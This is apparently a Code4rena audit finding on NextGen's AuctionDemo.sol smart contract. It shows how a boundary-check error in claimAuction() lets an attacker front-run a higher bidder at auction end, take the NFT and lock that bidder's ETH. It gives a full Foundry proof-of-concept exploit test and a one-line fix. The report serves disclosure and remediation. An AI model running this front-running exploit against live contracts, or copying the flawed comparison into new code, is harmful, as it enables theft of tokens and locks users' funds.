Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L57 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104

Vulnerability details

Impact

There are 2 problems here:

If Address A (attacker) frontruns Address B to call participateToAuction() followed by claimAuction() right at auctionEndTime, A wins the auction though B submitted a higher bid at the last moment (i.e. at auctionEndTime). This is unfair to address B.
Not only is it unfair to address B but also address B's ETH is permanently locked in AuctionDemo.sol since A frontrunned address B's participateToAuction() call with both address A's participateToAuction() and claimAuction() calls, which refunded all the user's previous active bids and rewarded the attacker A with the token.

(Note: It is possible that A and B are just two bots placing bids for an auction in order to simply win the token, thus this attack can be both intentional or unintentional from their side. For example, bot A might be programmed to place a bid at the last moment followed by which A can claim (since A knows it is the winner) while bot B might just only place a bid and claim sometime later on)

The issue here originates since claimAuction() uses "<=" instead of "<" to check if current block.timestamp is less than or equal to auctionEndTime. This allows the attacker to perform such an attack, leading to loss for another user.

Note: This issue is different from the previous issue submitted by me (i.e. "Attacker can claim token without providing ETH"). This is because in the previous issue the root cause was either the use of "<=" instead of "<" in functions cancelBid() and cancelAllBids() or auctionDataInfo not being updated to false in claimAuction(), while in this issue the root cause is the use of ">=" instead of ">" in the claimAuction() function. As a Litmus test, we can see that even after solving the previous issue, the current issue here still exists.

Proof of Concept

Here is the whole process:

Address A = Attacker Address B = Another user

At auctionEndTime, both A and B call function participateToAuction() with bids 10 ETH and 11 ETH respectively.
A frontruns B's participateToAuction() call with both his participateToAuction() and claimAuction() calls by providing higher gas in order to move ahead in the mempool.

Here is the order of calls executing now. A's participateToAuction() call is executed first. Here the following occurs:

Line 58 - A passes this check since he participates right at auctionEndTime i.e. at time "<=" auctionEndTime

Line 59-60 - This sets A's bid of 10 ETH as the new highest bid and pushes it to auctionInfoData[_tokenid]

File: AuctionDemo.sol
57:     function participateToAuction(uint256 _tokenid) public payable {
58:         require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);
59:         auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true);
60:         auctionInfoData[_tokenid].push(newBid);
61:     }

A's claimAuction() call executes now. Here is what happens:

On Line 105, A passes the check since call was made right at auctionEndTime
On Line 106, auctionClaim[_tokenid] is set to true (Important since B will not be able to call claimAuction() after this is set)
On Line 112, the token is transferred to A

On Line 116, all refunds of previous active bidders are made (except B since his participateToAuction() call has not executed yet)

File: AuctionDemo.sol
104:     function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
105:         require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
106:         auctionClaim[_tokenid] = true;
107:         uint256 highestBid = returnHighestBid(_tokenid);
108:         address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
109:         address highestBidder = returnHighestBidder(_tokenid);
110:         for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
111:             if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
112:                 IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
113:                 (bool success, ) = payable(owner()).call{value: highestBid}("");
114:                 emit ClaimAuction(owner(), _tokenid, success, highestBid);
115:             } else if (auctionInfoData[_tokenid][i].status == true) {
116:                 (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
117:                 emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
118:             } else {}
119:         }
120:     }

Now when B's participateToAuction() call executes. The following happens:

Line 58 - B passes this check since he participates right at auctionEndTime i.e. at time "<=" auctionEndTime

Line 59-60 - This sets B's bid of 11 ETH as the new highest bid and pushes it to auctionInfoData[_tokenid]

File: AuctionDemo.sol
57:     function participateToAuction(uint256 _tokenid) public payable {
58:         require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);
59:         auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true);
60:         auctionInfoData[_tokenid].push(newBid);
61:     }

Now when B tries to call claimAuction(), the call reverts due to auctionClaim for the _tokenId being true (since A already claimed the token).

File: AuctionDemo.sol
104:     function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
105:         require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
106:         auctionClaim[_tokenid] = true;

Additionally, B's 11 ETH is now permanently locked in AuctionDemo.sol since cancelBid() function reverts due to time now being greater than auctionEndTime (see Line 125). (Note: By the time B realizes he cannot claim the token even though being the highest bidder, it will be too late since time has passed since auctionEndTime due to which cancelBid() reverts)

File: AuctionDemo.sol
124:     function cancelBid(uint256 _tokenid, uint256 index) public {
125:         require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
126:         require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
127:         auctionInfoData[_tokenid][index].status = false;
128:         (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
129:         emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid);
130:     }

Coded POC

Here are some points to understand the POC:

Lines 31 to 50 is the setup
Function testSetUpCollection() is called to setup the Azuki collection.
Public phase start time = 1000s, Public phase end time = 700000s (time in foundry starts from 0)
Run the test using forge test --match-test testAttackerCanFrontRunAnotherUserToClaimAuctionAndLockUserETH -vvvvv
Function testAttackerCanFrontRunAnotherUserToClaimAuctionAndLockUserETH() sets up the Azuki collection on the first line, warps block.timestamp to 1000s (public start time)
The functionAdmin starts auction for Azuki with auction end time being 10000s.
The teamsTrustedAddress holds the NFT till the time the winner of the auction does not claim it using claimAuction.
For this, the teamsTrustedAddress calls setApprovalForAll to give the AuctionDemo.sol contract approval to transfer the NFT to the winner when he calls claimAuction().
We warp to 10000s i.e. right at auctionEndTime of the Azuki auction
Attacker frontruns Alice by calling participateToAuction() with a 1 ETH bid
Attacker frontruns Alice by calling claimAuction(), which transfers the auctioned token to the attacker.
Alice's participateToAuction() call with a 2 ETH bid gets executed, leading to permanent locking in the AuctionDemo.sol contract.
Lines 81-83 show that all three calls mentioned above succeed right at auctionEndTime of the Azuki auction
Lines 89 to 91, further prove that the attacker's balance is now 1, Alice is not refunded the 2 ETH and Alice's 2 ETH is permanently locked in the AuctionDemo.sol contract's balance.
Note the receive function at the bottom of the POC is to receive ETH from the claimAuction() function call of the attacker since the ETH is sent to the deployer of AuctionDemo.sol contract (which in this case is our test contract).
Make sure to add the POC provided below to the hardhat/test folder before running the forge test --match-test testAttackerCanFrontRunAnotherUserToClaimAuctionAndLockUserETH -vvvvv command.
I've provided helpful comments to assist while reading the POC and tried to make the function names as self-explanatory as possible as well.

File: TestContract8.t.sol
01: // SPDX-License-Identifier: MIT
02: 
03: pragma solidity ^0.8.19;
04: 
05: import {Test, console} from "forge-std/Test.sol";
06: 
07: import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";
08: import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
09: import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
10: import {randomPool} from "../smart-contracts/XRandoms.sol";
11: import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
12: import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";
13: 
14: contract TestContract8 is Test {
15: 
16:     NextGenMinterContract minter;
17:     NextGenCore gencore;
18:     NextGenAdmins adminsContract;
19:     randomPool xrandoms;
20:     NextGenRandomizerNXT randomizer;
21:     auctionDemo auctionContract;
22: 
23:     //List of Bidders
24:     address alice = makeAddr("Bidder1");
25:     address bob = makeAddr("Bidder2");  
26:     address charlie = makeAddr("Bidder3"); 
27: 
28:     address teamsTrustedAddress = makeAddr("TrustedAddress");
29:     address attacker = makeAddr("AttackerEOA");
30: 
31:     function setUp() public {
32:         //Deployment process - Followed from docs
33:         adminsContract = new NextGenAdmins();
34:         gencore = new NextGenCore("", "", address(adminsContract));
35:         minter = new NextGenMinterContract(address(gencore),address(0) , address(adminsContract));
36:         xrandoms = new randomPool();
37:         randomizer = new NextGenRandomizerNXT(address(xrandoms), address(this), address(gencore));
38:         auctionContract = new auctionDemo(address(minter), address(gencore), address(adminsContract));
39:     }
40: 
41:     function testSetUpCollection() public {
42:         string[] memory emptyScript;
43:         gencore.createCollection("Azuki", "6529", "Empty", "Empty", "Empty", "Empty", "Empty", emptyScript);
44:         gencore.setCollectionData(1, address(0), 1, 10000, 0);
45:         minter.setCollectionCosts(1, 4000000000000000000, 0, 0, 600, 1,
46:         address(0));
47:         minter.setCollectionPhases(1, 1000, 0, 1000, 700000, 0);//Set allowliststarttime to public sale start time to pass check
48:         gencore.addMinterContract(address(minter));
49:         gencore.addRandomizer(1, address(randomizer));
50:     }
51: 
52:     function testAttackerCanFrontRunAnotherUserToClaimAuctionAndLockUserETH() public {
53:         testSetUpCollection();
54:         vm.warp(1000); //Start public phase on Azuki collection
55:         //Start Azuki auction
56:         minter.mintAndAuction(teamsTrustedAddress, "", 0, 1, 10000); //(Auction ends at 10000s)
57:         bytes memory selector = abi.encodeWithSignature("participateToAuction(uint256)", 10000000000);
58: 
59:         //Give approval to this contract to transfer the auctioned token to the winner when winner calls claimAuction()
60:         vm.prank(teamsTrustedAddress);
61:         gencore.setApprovalForAll(address(auctionContract), true);
62:         
63:         //Warp to 10000s i.e. right at auctionEndTime of the Azuki auction
64:         vm.warp(10000);
65: 
66:         //Attacker's frontrun call to participateToAuction()
67:         vm.deal(attacker, 1000000000000000000); //Attacker places 1 ETH bid
68:         vm.prank(attacker);
69:         (bool success1,) = address(auctionContract).call{value: 1000000000000000000}(selector);
70: 
71:         //Attacker's frontrun call to claimAuction()
72:         bytes memory selector2 = abi.encodeWithSignature("claimAuction(uint256)", 10000000000);
73:         vm.prank(attacker); //Attacker claimsAuction
74:         (bool success2,) = address(auctionContract).call(selector2);
75: 
76:         //Alice's participateToAuction() call (which is frontrun by above two calls)
77:         vm.deal(alice, 2000000000000000000); //Alice places 2 ETH bid
78:         vm.prank(alice);
79:         (bool success3,) = address(auctionContract).call{value: 2000000000000000000}(selector);
80: 
81:         assertEq(success1, true);
82:         assertEq(success2, true);
83:         assertEq(success3, true);
84: 
85:         uint256 attackerNFTBalance = gencore.balanceOf(attacker);
86:         uint256 aliceETHBalance = address(alice).balance; //Means alice was not refunded her ETH since her call came later after the attacker frontrunned her with participateToAuction() and claimAuction() calls, thereby locking her ETH in AuctionDemo.sol
87:         uint256 auctionContractETHBalance = address(auctionContract).balance;
88:         
89:         assertEq(attackerNFTBalance, 1);
90:         assertEq(aliceETHBalance, 0);
91:         assertEq(auctionContractETHBalance, 2000000000000000000); //Represents Alice's locked ETH
92:     }
93: 
94:     receive() external payable {}
95: }

Tools Used

Manual Review

Recommended Mitigation Steps

The solution is quite straightforward. Change ">=" to ">" in claimAuction() function. This prevents the attacker A from performing such an attack on another address B.

Solution:

```solidity
File: AuctionDemo.sol
104:     function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
105:         require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
106:         auctionClaim[_tokenid] = true;

Assessed type

MEV

code-423n4 / 2023-10-nextgen-findings

Attacker can frontrun another user to call participateToAuction() followed by claimAuction() right at auctionEndTime leading to permanent locking of the other user's ETH #1094